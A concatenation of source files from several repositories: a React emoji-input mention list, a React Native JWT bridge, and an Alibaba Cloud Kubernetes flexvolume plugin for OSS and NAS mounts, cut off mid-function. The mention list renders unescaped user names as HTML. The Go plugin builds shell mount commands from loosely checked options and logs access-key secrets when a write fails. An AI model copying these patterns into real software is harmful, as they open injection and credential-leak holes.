import { createObserver } from "../utils/observer";
/**
* @typedef {import('../types/types').TextInputListeners} TextInputListeners
*/
// eslint-disable-next-line valid-jsdoc
/** */
export function useEventListeners() {
/** @type {TextInputListeners} */
const listeners = useMemo(
() => ({
keyDown: createObserver(),
keyUp: createObserver(),
arrowUp: createObserver(),
arrowDown: createObserver(),
enter: createObserver(),
focus: createObserver()
}),
[]
);
/**
* @template {keyof TextInputListeners} T, K
* @type {(event: keyof TextInputListeners, fn: import('../types/types').Listerner<any>) => () => void}
*/
const addEventListener = useCallback(
(event, fn) => {
return listeners[event].subscribe(fn);
},
[listeners]
);
return { addEventListener, listeners };
}
<|start_filename|>src/components/mention-user-list.js<|end_filename|>
// @ts-check
/* eslint-disable react/prop-types */
// vendors
import React, {
useImperativeHandle,
useState,
forwardRef,
useMemo,
useEffect
} from "react";
import t from "prop-types";
/**
* @typedef {import('../types/types').MentionUser} MentionUser
*/
/**
* @typedef {import('../types/types').TextInputListeners} TextInputListeners
*/
/**
* @typedef {Object} Props
* @property {MentionUser[]} users
* @property {string | null} mentionSearchText
* @property {(user: MentionUser) => void} onSelect
* @property {(event: keyof TextInputListeners, fn: import('../types/types').Listerner<any>) => () => void} addEventListener
*/
/**
* @typedef {{prevUser: () => void; nextUser: () => void;}} Ref
*/
// eslint-disable-next-line valid-jsdoc
/** @type {React.ForwardRefRenderFunction<Ref, Props>} */
const MentionUserList = (
{ users, mentionSearchText, onSelect, addEventListener },
ref
) => {
const [selectedUser, setSelectedUser] = useState(0);
useImperativeHandle(ref, () => ({
prevUser: () => {
setSelectedUser(currentSelectedUser => {
if (currentSelectedUser === 0) {
return 0;
}
return currentSelectedUser - 1;
});
},
nextUser: () => {
setSelectedUser(currentSelectedUser => {
if (currentSelectedUser === users.length - 1) {
return users.length - 1;
}
return currentSelectedUser + 1;
});
}
}));
useEffect(() => {
setSelectedUser(0);
}, [users]);
/**
*
* @param {string} selectedText
* @param {string} rest
* @return {string}
*/
function getMentionSelectedNameEl(selectedText, rest) {
return `<span class="react-input-emoji--mention--item--name__selected" data-testid="metion-selected-word">${selectedText}</span>${rest}`;
}
/** @type {(MentionUser & {nameHtml: string})[]} */
const usersFiltered = useMemo(() => {
const searchText = mentionSearchText
? mentionSearchText.substring(1).toLocaleLowerCase()
: "";
return users.map(user => {
let nameHtml = user.name;
if (mentionSearchText && mentionSearchText.length > 1) {
if (user.name.toLowerCase().startsWith(searchText)) {
nameHtml = getMentionSelectedNameEl(
user.name.substring(0, searchText.length),
user.name.substring(searchText.length)
);
} else {
const names = user.name.split(" ");
nameHtml = names
.map(name => {
if (name.toLocaleLowerCase().startsWith(searchText)) {
return getMentionSelectedNameEl(
name.substring(0, searchText.length),
name.substring(searchText.length)
);
}
return name;
})
.join(" ");
}
}
return {
...user,
nameHtml
};
});
}, [mentionSearchText, users]);
// eslint-disable-next-line valid-jsdoc
/**
*
* @param {MentionUser} user
* @returns {(event: React.MouseEvent) => void} event
*/
function handleClick(user) {
return event => {
event.stopPropagation();
event.preventDefault();
onSelect(user);
};
}
useEffect(() => {
const unsubscribe = addEventListener("enter", event => {
event.stopPropagation();
event.preventDefault();
onSelect(usersFiltered[selectedUser]);
});
return () => {
unsubscribe();
};
}, [addEventListener, onSelect, selectedUser, usersFiltered]);
return (
<ul
className="react-input-emoji--mention--list"
data-testid="mention-user-list"
>
{usersFiltered.map((user, index) => (
<li key={user.id}>
<button
type="button"
onClick={handleClick(user)}
className={`react-input-emoji--mention--item${
selectedUser === index
? " react-input-emoji--mention--item__selected"
: ""
}`}
onMouseOver={() => setSelectedUser(index)}
>
<img
className="react-input-emoji--mention--item--img"
src={user.image}
/>
<div
className="react-input-emoji--mention--item--name"
dangerouslySetInnerHTML={{ __html: user.nameHtml }}
/>
</button>
</li>
))}
</ul>
);
};
const MentionUserListWithRef = forwardRef(MentionUserList);
MentionUserListWithRef.propTypes = {
users: t.array.isRequired
};
export default MentionUserListWithRef;
<|start_filename|>src/styles.css<|end_filename|>
.react-input-emoji--container {
color: #4b4b4b;
text-rendering: optimizeLegibility;
background-color: #fff;
border: 1px solid #fff;
border-radius: 21px;
margin: 5px 10px;
box-sizing: border-box;
flex: 1 1 auto;
font-size: 15px;
font-family: sans-serif;
font-weight: 400;
line-height: 20px;
min-height: 20px;
min-width: 0;
outline: none;
width: inherit;
will-change: width;
vertical-align: baseline;
border: 1px solid #eaeaea;
margin-right: 0;
}
.react-input-emoji--wrapper {
display: flex;
overflow: hidden;
flex: 1;
position: relative;
padding-right: 0;
vertical-align: baseline;
outline: none;
margin: 0;
padding: 0;
border: 0;
}
.react-input-emoji--input {
font-weight: 400;
max-height: 100px;
min-height: 20px;
outline: none;
overflow-x: hidden;
overflow-y: auto;
position: relative;
white-space: pre-wrap;
word-wrap: break-word;
z-index: 1;
width: 100%;
user-select: text;
padding: 9px 12px 11px;
text-align: left;
}
.react-input-emoji--input img {
vertical-align: middle;
width: 18px !important;
height: 18px !important;
display: inline !important;
margin-left: 1px;
margin-right: 1px;
}
.react-input-emoji--overlay {
position: fixed;
width: 100%;
height: 100%;
top: 0;
left: 0;
z-index: 9;
}
.react-input-emoji--placeholder {
color: #a0a0a0;
pointer-events: none;
position: absolute;
user-select: none;
z-index: 2;
left: 16px;
top: 0;
bottom: 0;
display: flex;
align-items: center;
width: calc(100% - 22px);
}
.react-input-emoji--button {
position: relative;
display: block;
text-align: center;
padding: 0 10px;
overflow: hidden;
transition: color 0.1s ease-out;
margin: 0;
box-shadow: none;
background: none;
border: none;
outline: none;
cursor: pointer;
flex-shrink: 0;
}
.react-input-emoji--button svg {
fill: #858585;
}
.react-input-emoji--button__show svg {
fill: #128b7e;
}
.react-emoji {
display: flex;
align-items: center;
position: relative;
width: 100%;
}
.react-emoji-picker--container {
position: absolute;
top: 0;
width: 100%;
}
.react-emoji-picker--wrapper {
position: absolute;
bottom: 0;
right: 0;
height: 357px;
width: 338px;
overflow: hidden;
z-index: 10;
}
.react-emoji-picker {
position: absolute;
top: 0;
left: 0;
animation: slidein 0.1s ease-in-out;
}
.react-emoji-picker__show {
top: 0;
}
.react-input-emoji--mention--container {
position: absolute;
top: 0;
left: 0;
width: 100%;
z-index: 10;
}
.react-input-emoji--mention--list {
background-color: #fafafa;
border: 1px solid #eaeaea;
border-radius: 4px;
margin: 0;
padding: 0;
list-style: none;
display: flex;
gap: 5px;
flex-direction: column;
position: absolute;
bottom: 0;
width: 100%;
left: 0;
}
.react-input-emoji--mention--item {
display: flex;
align-items: center;
gap: 10px;
padding: 5px 10px;
background-color: transparent;
width: 100%;
margin: 0;
border: 0;
}
.react-input-emoji--mention--item__selected {
background-color: #eeeeee;
}
.react-input-emoji--mention--item--img {
width: 34px;
height: 34px;
border-radius: 50%;
}
.react-input-emoji--mention--item--name {
font-size: 16px;
color: #333;
}
.react-input-emoji--mention--item--name__selected {
color: green;
}
.react-input-emoji--mention--text {
color: #039be5;
}
.react-input-emoji--mention--loading {
background-color: #fafafa;
border: 1px solid #eaeaea;
border-radius: 4px;
display: flex;
align-items: center;
justify-content: center;
padding: 10px 0;
position: absolute;
bottom: 0;
left: 0;
width: 100%;
}
.react-input-emoji--mention--loading--spinner,
.react-input-emoji--mention--loading--spinner::after {
border-radius: 50%;
width: 10em;
height: 10em;
}
.react-input-emoji--mention--loading--spinner {
margin: 1px auto;
font-size: 2px;
position: relative;
text-indent: -9999em;
border-top: 1.1em solid rgba(0, 0, 0, 0.1);
border-right: 1.1em solid rgba(0, 0, 0, 0.1);
border-bottom: 1.1em solid rgba(0, 0, 0, 0.1);
border-left: 1.1em solid rgba(0, 0, 0, 0.4);
transform: translateZ(0);
animation: load8 1.1s infinite linear;
}
@keyframes load8 {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
@keyframes slidein {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
<|start_filename|>example/src/style.js<|end_filename|>
// @ts-check
// vendors
import styled, { createGlobalStyle } from "styled-components";
export const GlobalStyle = createGlobalStyle`
html {
font-family: sans-serif;
text-size-adjust: 100%;
}
body {
font-family: lato,sans-serif;
color: #333;
background-color: #fff;
margin: 0;
}
* {
box-sizing: border-box;
}
h1 {
color: #1bc1a1;
font-size: 30px;
line-height: 1.1;
margin: .67em 0;
margin-top: 80px;
margin-bottom: 15px;
}
`;
export const Header = styled.header`
padding-top: 92px;
background: linear-gradient(45deg, #4cd964 0%, #5ac8fa 100%);
margin: 0 auto;
text-align: center;
`;
export const Title = styled.h1`
color: #fff;
font-size: 64px;
font-weight: 900;
letter-spacing: -1px;
margin: 0 20px 20px;
`;
export const Subtitle = styled.h2`
color: ${props => props.color || "#16a085"};
font-size: 27px;
font-weight: 400;
line-height: 30px;
margin: 0 20px 20px;
`;
export const Main = styled.main`
margin: 0 auto 90px;
max-width: 540px;
padding: 0 15px;
display: block;
`;
export const Description = styled.p`
color: #333;
font-size: 18px;
line-height: 1.7;
`;
/**
* @typedef {object} Props
* @prop {boolean=} inline
*
* @typedef {import("styled-components")
* .ThemedStyledFunction<"code", any, Props>} CodeT
*/
// eslint-disable-next-line valid-jsdoc
export const Code = /** @type {CodeT} */ (styled.code)`
font-size: 14px;
line-height: 20px;
display: inline-block;
overflow-x: auto;
padding: 0.5em;
color: #333;
background: #f8f8f8;
border-radius: 3px;
margin: 0;
font-family: Consolas, liberation mono, Menlo, Courier, monospace;
margin-bottom: ${({ inline }) => ((inline ? "-11px" : "0"))};
span {
font-family: Consolas, liberation mono, Menlo, Courier, monospace;
}
`;
export const Snippet = styled.pre`
position: relative;
overflow: visible;
margin-top: 0;
margin-bottom: 0;
font: 12px Consolas, liberation mono, Menlo, Courier, monospace;
${Code} {
width: 100%;
}
`;
export const Example = styled.div`
position: relative;
margin: 15px 0 0;
padding: 39px 19px 14px;
background-color: #fff;
border-radius: 4px 4px 0 0;
border: 1px solid #ddd;
z-index: 2;
::after {
content: "Example";
position: absolute;
top: 0;
left: 0;
padding: 2px 8px;
font-size: 12px;
font-weight: 700;
background-color: #f5f5f5;
color: #9da0a4;
border-radius: 4px 0 4px 0;
}
`;
export const Table = styled.table`
border-collapse: collapse;
border-spacing: 0;
`;
export const TableTh = styled.th`
border: 1px solid #dfe2e5;
padding: 6px 13px;
`;
/**
* @typedef {object} PropsTableTr
* @prop {boolean=} gray
*
* @typedef {import("styled-components")
* .ThemedStyledFunction<"tr", any, PropsTableTr>} TableTrT
*/
// eslint-disable-next-line valid-jsdoc
export const TableTr = /** @type {TableTrT} */ (styled.tr)`
background-color: ${props => ((props.gray ? "#f6f8fa" : "#ffffff"))};
`;
export const TableTd = styled.td`
border: 1px solid #dfe2e5;
padding: 6px 13px;
line-height: 20px;
`;
export const EmojiInput = styled.span`
width: 200px;
margin: 0 auto;
border: 2px solid #15a085;
border-radius: 25px;
color: #15a085;
line-height: 44px;
display: flex;
align-items: center;
justify-content: center;
`;
export const EmojiInputCursor = styled.span`
font-size: 26px;
animation: blinker 1s linear infinite;
line-height: 30px;
padding-bottom: 7px;
@keyframes blinker {
50% {
opacity: 0;
}
}
`;
export const Footer = styled.footer`
background: linear-gradient(45deg, #4cd964 0%, #5ac8fa 100%);
margin: 0 auto;
text-align: center;
display: block;
`;
export const Credits = styled.p`
font-weight: 400;
font-family: lato, sans-serif;
font-size: 20px;
color: #16a085;
padding: 30px 0;
margin: 0;
line-height: 1.7;
`;
export const FooterLink = styled.a`
color: #fff;
border-color: #fff;
border-bottom: 1px dotted #1bc1a1;
transition: opacity 0.3s ease-in-out;
text-decoration: none;
background-color: transparent;
`;
export const GithubButtons = styled.p`
margin: 92px 0 0;
background: rgba(0, 0, 0, 0.1);
padding: 20px 0 10px;
color: #333;
font-size: 18px;
line-height: 1.7;
`;
<|start_filename|>src/hooks/use-sanitize.js<|end_filename|>
// @ts-check
import { useCallback, useRef } from "react";
/**
* @typedef {import('../types/types').SanitizeFn} SanitizeFn
*/
// eslint-disable-next-line valid-jsdoc
/** */
export function useSanitize() {
/** @type {React.MutableRefObject<SanitizeFn[]>} */
const sanitizeFnsRef = useRef([]);
const sanitizedTextRef = useRef("");
/** @type {(fn: SanitizeFn) => void} */
const addSanitizeFn = useCallback(fn => {
sanitizeFnsRef.current.push(fn);
}, []);
/** @type {(html: string) => string} */
const sanitize = useCallback(html => {
let result = sanitizeFnsRef.current.reduce((acc, fn) => {
return fn(acc);
}, html);
result = replaceAllHtmlToString(result);
sanitizedTextRef.current = result;
return result;
}, []);
return { addSanitizeFn, sanitize, sanitizedTextRef };
}
/**
*
* @param {string} html
* @return {string}
*/
export function replaceAllHtmlToString(html) {
const container = document.createElement("div");
container.innerHTML = html;
let text = container.innerText || "";
// remove all ↵ for safari
text = text.replace(/\n/gi, "");
return text;
}
<|start_filename|>fixtures/examples.js<|end_filename|>
// @ts-check
export const mentionUsers = [
{
id: "1",
name: "<NAME>",
image: "https://randomuser.me/api/portraits/women/73.jpg"
},
{
id: "2",
name: "<NAME>",
image: "https://randomuser.me/api/portraits/women/0.jpg"
},
{
id: "3",
name: "<NAME>",
image: "https://randomuser.me/api/portraits/women/35.jpg"
}
];
| onuryilmazdev/react-input-emoji-native |
<|start_filename|>js/index.js<|end_filename|>
import { NativeModules } from 'react-native'
const { RNPureJwt } = NativeModules
export const sign = (token, secret, options = {}) =>
RNPureJwt.sign(token, secret, options)
export const decode = (token, secret, options = {}) =>
RNPureJwt.decode(token, secret, options)
| Respira/react-native-pure-jwt |
<|start_filename|>package/Dockerfile<|end_filename|>
FROM registry.aliyuncs.com/acs/alpine:3.3
RUN apk add --update curl && rm -rf /var/cache/apk/*
RUN apk --update add fuse curl libxml2 openssl libstdc++ libgcc && rm -rf /var/cache/apk/*
RUN mkdir -p /acs
COPY nsenter /acs/nsenter
COPY bin/flexvolume /acs/flexvolume
COPY entrypoint.sh /acs/entrypoint.sh
COPY ossfs_1.80.3_centos7.0_x86_64.rpm /acs/ossfs_1.80.3_centos7.0_x86_64.rpm
COPY ossfs_1.80.3_ubuntu14.04_amd64.deb /acs/ossfs_1.80.3_ubuntu14.04_amd64.deb
COPY ossfs_1.80.3_ubuntu16.04_amd64.deb /acs/ossfs_1.80.3_ubuntu16.04_amd64.deb
COPY cpfs-client-1.2.1-centos.x86_64.rpm /acs/cpfs-client-1.2.1-centos.x86_64.rpm
COPY kernel-devel-3.10.0-693.2.2.el7.x86_64.rpm /acs/kernel-devel-3.10.0-693.2.2.el7.x86_64.rpm
COPY kernel-devel-3.10.0-862.14.4.el7.x86_64.rpm /acs/kernel-devel-3.10.0-862.14.4.el7.x86_64.rpm
COPY kernel-devel-3.10.0-957.5.1.el7.x86_64.rpm /acs/kernel-devel-3.10.0-957.5.1.el7.x86_64.rpm
RUN chmod 755 /acs/*
ENTRYPOINT ["/acs/entrypoint.sh"]
<|start_filename|>provider/oss/oss.go<|end_filename|>
package oss
import (
"encoding/base64"
"errors"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AliyunContainerService/flexvolume/provider/utils"
"github.com/denverdino/aliyungo/ecs"
log "github.com/sirupsen/logrus"
)
// OssOptions oss plugin options
type OssOptions struct {
Bucket string `json:"bucket"`
Url string `json:"url"`
OtherOpts string `json:"otherOpts"`
AkId string `json:"akId"`
AkSecret string `json:"akSecret"`
VolumeName string `json:"kubernetes.io/pvOrVolumeName"`
SecretAkId string `json:"kubernetes.io/secret/akId"`
SecretAkSec string `json:"kubernetes.io/secret/akSecret"`
}
// const values
const (
CredentialFile = "/etc/passwd-ossfs"
)
// OssPlugin oss plugin
type OssPlugin struct {
client *ecs.Client
}
// NewOptions plugin new options
func (p *OssPlugin) NewOptions() interface{} {
return &OssOptions{}
}
// Init oss plugin init
func (p *OssPlugin) Init() utils.Result {
return utils.Succeed()
}
// Mount Paras format:
// /usr/libexec/kubernetes/kubelet-plugins/volume/exec/alicloud~oss/oss
// mount
// /var/lib/kubelet/pods/e000259c-4dac-11e8-a884-04163e0f011e/volumes/alicloud~oss/oss1
// {
// "akId":"***",
// "akSecret":"***",
// "bucket":"oss",
// "kubernetes.io/fsType": "",
// "kubernetes.io/pod.name": "nginx-oss-deploy-f995c89f4-kj25b",
// "kubernetes.io/pod.namespace":"default",
// "kubernetes.io/pod.uid":"e000259c-4dac-11e8-a884-04163e0f011e",
// "kubernetes.io/pvOrVolumeName":"oss1",
// "kubernetes.io/readwrite":"rw",
// "kubernetes.io/serviceAccount.name":"default",
// "otherOpts":"-o max_stat_cache_size=0 -o allow_other",
// "url":"oss-cn-hangzhou.aliyuncs.com"
// }
func (p *OssPlugin) Mount(opts interface{}, mountPath string) utils.Result {
// logout oss paras
opt := opts.(*OssOptions)
argStr := ""
for _, tmpStr := range os.Args {
if !strings.Contains(tmpStr, "akSecret") {
argStr += tmpStr + ", "
}
}
argStr = argStr + "VolumeName: " + opt.VolumeName + ", AkId: " + opt.AkId + ", Bucket: " + opt.Bucket + ", url: " + opt.Url + ", OtherOpts: " + opt.OtherOpts
log.Infof("Oss Plugin Mount: %s", argStr)
if err := p.checkOptions(opt); err != nil {
utils.FinishError("OSS: check option error: " + err.Error())
}
if utils.IsMounted(mountPath) {
return utils.Result{Status: "Success"}
}
// Create Mount Path
if err := utils.CreateDest(mountPath); err != nil {
utils.FinishError("Oss, Mount fail with create Path error: " + err.Error() + mountPath)
}
// Save ak file for ossfs
if err := p.saveCredential(opt); err != nil {
utils.FinishError("Oss, Save AK file fail: " + err.Error())
}
// default use allow_other
mntCmd := fmt.Sprintf("systemd-run --scope -- ossfs %s %s -ourl=%s -o allow_other %s", opt.Bucket, mountPath, opt.Url, opt.OtherOpts)
systemdCmd := fmt.Sprintf("which systemd-run")
if _, err := utils.Run(systemdCmd); err != nil {
mntCmd = fmt.Sprintf("ossfs %s %s -ourl=%s -o allow_other %s", opt.Bucket, mountPath, opt.Url, opt.OtherOpts)
log.Infof("Mount oss bucket without systemd-run")
}
if out, err := utils.Run(mntCmd); err != nil {
utils.FinishError("Create OSS volume fail: " + err.Error() + ", out: " + out)
}
log.Info("Mount Oss successful: ", mountPath)
return utils.Result{Status: "Success"}
}
// Unmount format
// /usr/libexec/kubernetes/kubelet-plugins/volume/exec/alicloud~oss/oss
// unmount
// /var/lib/kubelet/pods/e000259c-4dac-11e8-a884-00163e0f011e/volumes/alicloud~oss/oss1
func (p *OssPlugin) Unmount(mountPoint string) utils.Result {
log.Infof("Oss Plugin Umount: %s", strings.Join(os.Args, ","))
// check subpath volume umount if exist.
checkSubpathVolumes(mountPoint)
if !utils.IsMounted(mountPoint) {
return utils.Succeed()
}
// do umount
umntCmd := fmt.Sprintf("fusermount -u %s", mountPoint)
if _, err := utils.Run(umntCmd); err != nil {
if strings.Contains(err.Error(), "Device or resource busy") {
lazyUmntCmd := fmt.Sprintf("fusermount -uz %s", mountPoint)
if _, err := utils.Run(lazyUmntCmd); err != nil {
utils.FinishError("Lazy Umount OSS Fail: " + err.Error())
}
log.Infof("Lazy umount Oss path successful: %s", mountPoint)
return utils.Succeed()
}
utils.FinishError("Umount OSS Fail: " + err.Error())
}
log.Info("Umount Oss path successful: ", mountPoint)
return utils.Succeed()
}
// check if subPath volume exist, if subpath is mounted, umount it;
// /var/lib/kubelet/pods/6dd977d1-302a-11e9-b51c-00163e0cd246/volumes/alicloud~oss/oss1
// /var/lib/kubelet/pods/6dd977d1-302a-11e9-b51c-00163e0cd246/volume-subpaths/oss1/nginx-flexvolume-oss/0
func checkSubpathVolumes(mountPoint string) {
podId := ""
volumeName := filepath.Base(mountPoint)
podsSplit := strings.Split(mountPoint, "pods")
if len(podsSplit) >= 2 {
volumesSplit := strings.Split(podsSplit[1], "volumes")
if len(volumesSplit) >= 2 {
tmpPid := volumesSplit[0]
podId = tmpPid[1 : len(tmpPid)-1]
}
}
if podId != "" {
subPathRootDir := "/var/lib/kubelet/pods/" + podId + "/volume-subpaths/" + volumeName
if !utils.IsFileExisting(subPathRootDir) {
return
}
checkCmd := fmt.Sprintf("mount | grep %s", subPathRootDir)
if out, err := utils.Run(checkCmd); err == nil {
subMntList := strings.Split(out, "\n")
for _, mntItem := range subMntList {
strList := strings.Split(mntItem, " ")
if len(strList) > 3 {
mntPoint := strList[2]
umntCmd := fmt.Sprintf("fusermount -u %s", mntPoint)
if _, err := utils.Run(umntCmd); err != nil {
log.Info("Umount Oss path failed: with error:", mntPoint, err.Error())
}
}
}
}
}
}
// Attach not supported
func (p *OssPlugin) Attach(opts interface{}, nodeName string) utils.Result {
return utils.NotSupport()
}
// Detach not support
func (p *OssPlugin) Detach(device string, nodeName string) utils.Result {
return utils.NotSupport()
}
// Getvolumename Support
func (p *OssPlugin) Getvolumename(opts interface{}) utils.Result {
opt := opts.(*OssOptions)
return utils.Result{
Status: "Success",
VolumeName: opt.VolumeName,
}
}
// Waitforattach Not Support
func (p *OssPlugin) Waitforattach(devicePath string, opts interface{}) utils.Result {
return utils.NotSupport()
}
// Mountdevice Not Support
func (p *OssPlugin) Mountdevice(mountPath string, opts interface{}) utils.Result {
return utils.NotSupport()
}
// save ak file: bucket:ak_id:ak_secret
func (p *OssPlugin) saveCredential(options *OssOptions) error {
oldContentByte := []byte{}
if utils.IsFileExisting(CredentialFile) {
tmpValue, err := ioutil.ReadFile(CredentialFile)
if err != nil {
return err
}
oldContentByte = tmpValue
}
oldContentStr := string(oldContentByte[:])
newContentStr := ""
for _, line := range strings.Split(oldContentStr, "\n") {
lineList := strings.Split(line, ":")
if len(lineList) != 3 || lineList[0] == options.Bucket {
continue
}
newContentStr += line + "\n"
}
newContentStr = options.Bucket + ":" + options.AkId + ":" + options.AkSecret + "\n" + newContentStr
if err := ioutil.WriteFile(CredentialFile, []byte(newContentStr), 0640); err != nil {
log.Errorf("Save Credential File failed, %s, %s", newContentStr, err)
return err
}
return nil
}
// Check oss options
func (p *OssPlugin) checkOptions(opt *OssOptions) error {
if opt.Url == "" || opt.Bucket == "" {
return errors.New("Oss: Url or bucket is empty")
}
if opt.SecretAkId != "" && opt.SecretAkSec != "" {
tmpId, err := base64.StdEncoding.DecodeString(opt.SecretAkId)
if err != nil {
return errors.New("Oss: SecretAkId decode error")
}
opt.AkId = string(tmpId)
tmpSec, err := base64.StdEncoding.DecodeString(opt.SecretAkSec)
if err != nil {
return errors.New("Oss: SecretAkSec decode error")
}
opt.AkSecret = string(tmpSec)
}
// if not input ak from user, use the default ak value
if opt.AkId == "" || opt.AkSecret == "" {
opt.AkId, opt.AkSecret = utils.GetLocalAK()
}
if opt.OtherOpts != "" {
if !strings.HasPrefix(opt.OtherOpts, "-o ") {
return errors.New("Oss: OtherOpts format error: " + opt.OtherOpts)
}
}
return nil
}
<|start_filename|>provider/disk/disk_test.go<|end_filename|>
package disk
import "testing"
func TestGetDevicePath(t *testing.T) {
before := []string{}
after := []string{}
before = append(before, "/dev/vdb", "/dev/vdc")
after = append(after, "/dev/vdb", "/dev/vdc", "/dev/vdd")
devices := getDevicePath(before, after)
t.Log(devices)
}
<|start_filename|>provider/monitor/fix_orphaned_pod.go<|end_filename|>
package monitor
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/AliyunContainerService/flexvolume/provider/utils"
log "github.com/sirupsen/logrus"
)
// issue: https://github.com/kubernetes/kubernetes/issues/60987
// global_config: true, host_config: true --- running fix_issue_orphan_pod()
// global_config: true, host_config: false --- not running fix_issue_orphan_pod()
// global_config: true, host_config: no_set --- running fix_issue_orphan_pod()
// global_config: false, host_config: true --- running fix_issue_orphan_pod()
// global_config: false, host_config: false --- not running fix_issue_orphan_pod()
// global_config: false, host_config: no_set --- not running fix_issue_orphan_pod()
func fixIssueOrphanPod() {
SLEEP_SECOND := DEFAULT_SLEEP_SECOND
for {
if hostFixOrphanedPod == "false" {
time.Sleep(time.Duration(SLEEP_SECOND) * time.Second)
continue
}
if hostFixOrphanedPod == "no_set" && globalFixOrphanedPod == false {
time.Sleep(time.Duration(SLEEP_SECOND) * time.Second)
continue
}
// got the last few lines of message file
lines := ReadFileLines(HOST_SYS_LOG)
flagOrphanExist := false
podFixedList := ""
for _, line := range lines {
// process line which is orphan pod log.
if strings.Contains(line, "Orphaned pod") && strings.Contains(line, "paths are still present on disk") {
flagOrphanExist = true
splitStr := strings.Split(line, "Orphaned pod")
if len(splitStr) < 2 {
log.Warnf("Orphan Pod: Error orphaned line format: %s", line)
continue
}
partStr := strings.Split(splitStr[1], "\"")
if len(partStr) < 2 {
log.Warnf("Orphan Pod: Error line format: %s", line)
continue
}
orphanUid := partStr[1]
if len(strings.Split(orphanUid, "-")) != 5 {
log.Warnf("Orphan Pod: Error pod Uid format: %s, %s", orphanUid, line)
continue
}
if strings.Contains(podFixedList, orphanUid) {
continue
}
podFixedList = podFixedList + orphanUid
// check oss, nas, disk path;
drivers := []string{"alicloud~disk", "alicloud~nas", "alicloud~oss", "kubernetes.io~nfs"}
for _, driver := range drivers {
volHostPath := "/var/lib/kubelet/pods/" + orphanUid + "/volumes/" + driver
volPodPath := "/host/var/lib/kubelet/pods/" + orphanUid + "/volumes/" + driver
if !utils.IsFileExisting(volPodPath) {
continue
}
storagePluginDirs, err := ioutil.ReadDir(volPodPath)
if err != nil {
log.Errorf("Orphan Pod: read directory error: %s, %s", err.Error(), volPodPath)
continue
}
for _, storagePluginDir := range storagePluginDirs {
dirName := storagePluginDir.Name()
mountPoint := filepath.Join(volHostPath, dirName)
if IsHostMounted(mountPoint) {
log.Infof("Orphan Pod: unmount directory: %s", mountPoint)
HostUmount(mountPoint)
}
// remove empty directory
if (!IsHostMounted(mountPoint)) && IsHostEmpty(mountPoint) {
log.Infof("Orphan Pod: remove directory: %s, log info: %s", mountPoint, line)
RemoveHostPath(mountPoint)
} else if (!IsHostMounted(mountPoint)) && !IsHostEmpty(mountPoint) {
log.Infof("Orphan Pod: Cannot remove directory as not empty: %s", mountPoint)
} else {
log.Infof("Orphan Pod: directory mounted yet: %s", mountPoint)
}
}
}
SLEEP_SECOND = DEFAULT_SLEEP_SECOND / 30
}
}
// if not orphan log in message, loop slower.
if flagOrphanExist == false {
SLEEP_SECOND = DEFAULT_SLEEP_SECOND
}
time.Sleep(time.Duration(SLEEP_SECOND) * time.Second)
}
}
// ReadFileLines read last 2k Bytes and return lines
func ReadFileLines(fname string) []string {
strList := []string{}
// Open file
file, err := os.Open(fname)
if err != nil {
log.Errorf("open file error: %s \n", err.Error())
return strList
}
defer file.Close()
// Get file size
buf := make([]byte, 2000)
stat, err := os.Stat(fname)
if err != nil {
log.Errorf("stat file error: %s \n", err.Error())
return strList
}
start := stat.Size() - 2000
if stat.Size() < 2000 {
log.Infof("log file is less than 2k.")
return strList
}
_, err = file.ReadAt(buf, start)
if err != nil {
log.Errorf("read file error: %s \n", err.Error())
return strList
}
// Get first \n position
lineIndex := 0
for _, charValue := range buf {
lineIndex++
if charValue == '\n' {
break
}
}
if lineIndex >= len(buf) {
return strList
}
// return the rest lines
strLines := string(buf[lineIndex:])
return strings.Split(strLines, "\n")
}
// IsHostMounted check directory mounted
func IsHostMounted(mountPath string) bool {
cmd := fmt.Sprintf("%s mount | grep \"%s type\" | grep -v grep", NSENTER_CMD, mountPath)
out, err := utils.Run(cmd)
if err != nil || out == "" {
return false
}
return true
}
// HostUmount check directory in host mounted
func HostUmount(mountPath string) bool {
cmd := fmt.Sprintf("%s umount %s", NSENTER_CMD, mountPath)
_, err := utils.Run(cmd)
if err != nil {
return false
}
return true
}
// IsHostEmpty check host mounted
func IsHostEmpty(mountPath string) bool {
cmd := fmt.Sprintf("%s ls %s", NSENTER_CMD, mountPath)
out, err := utils.Run(cmd)
if err != nil {
return false
}
if out != "" {
return false
}
return true
}
// RemoveHostPath remove host path
func RemoveHostPath(mountPath string) {
cmd := fmt.Sprintf("%s mv %s /tmp/", NSENTER_CMD, mountPath)
utils.Run(cmd)
}
<|start_filename|>provider/nas/nas.go<|end_filename|>
package nas
import (
"errors"
"fmt"
"net"
"os"
"path"
"path/filepath"
"strings"
"sync"
"time"
"github.com/AliyunContainerService/flexvolume/provider/utils"
"github.com/denverdino/aliyungo/nas"
log "github.com/sirupsen/logrus"
)
// NasOptions nas options
type NasOptions struct {
Server string `json:"server"`
Path string `json:"path"`
Vers string `json:"vers"`
Mode string `json:"mode"`
Opts string `json:"options"`
VolumeName string `json:"kubernetes.io/pvOrVolumeName"`
}
// const values
const (
NASPORTNUM = "2049"
NASTEMPMNTPath = "/mnt/acs_mnt/k8s_nas/" // used for create sub directory;
MODECHAR = "01234567"
)
// NasPlugin nas plugin
type NasPlugin struct {
client *nas.Client
}
// NewOptions new options.
func (p *NasPlugin) NewOptions() interface{} {
return &NasOptions{}
}
// Init plugin init
func (p *NasPlugin) Init() utils.Result {
return utils.Succeed()
}
// Mount nas support mount and umount
func (p *NasPlugin) Mount(opts interface{}, mountPath string) utils.Result {
log.Infof("Nas Plugin Mount: %s", strings.Join(os.Args, ","))
opt := opts.(*NasOptions)
if err := p.checkOptions(opt); err != nil {
utils.FinishError("Nas, check option error: " + err.Error())
}
if utils.IsMounted(mountPath) {
log.Infof("Nas, Mount Path Already Mount, options: %s", mountPath)
return utils.Result{Status: "Success"}
}
// Add NAS white list if needed
// updateNasWhiteList(opt)
// if system not set nas, config it.
checkSystemNasConfig()
// Create Mount Path
if err := utils.CreateDest(mountPath); err != nil {
utils.FinishError("Nas, Mount error with create Path fail: " + mountPath)
}
// Do mount
mntCmd := fmt.Sprintf("mount -t nfs -o vers=%s %s:%s %s", opt.Vers, opt.Server, opt.Path, mountPath)
if opt.Opts != "" {
mntCmd = fmt.Sprintf("mount -t nfs -o vers=%s,%s %s:%s %s", opt.Vers, opt.Opts, opt.Server, opt.Path, mountPath)
}
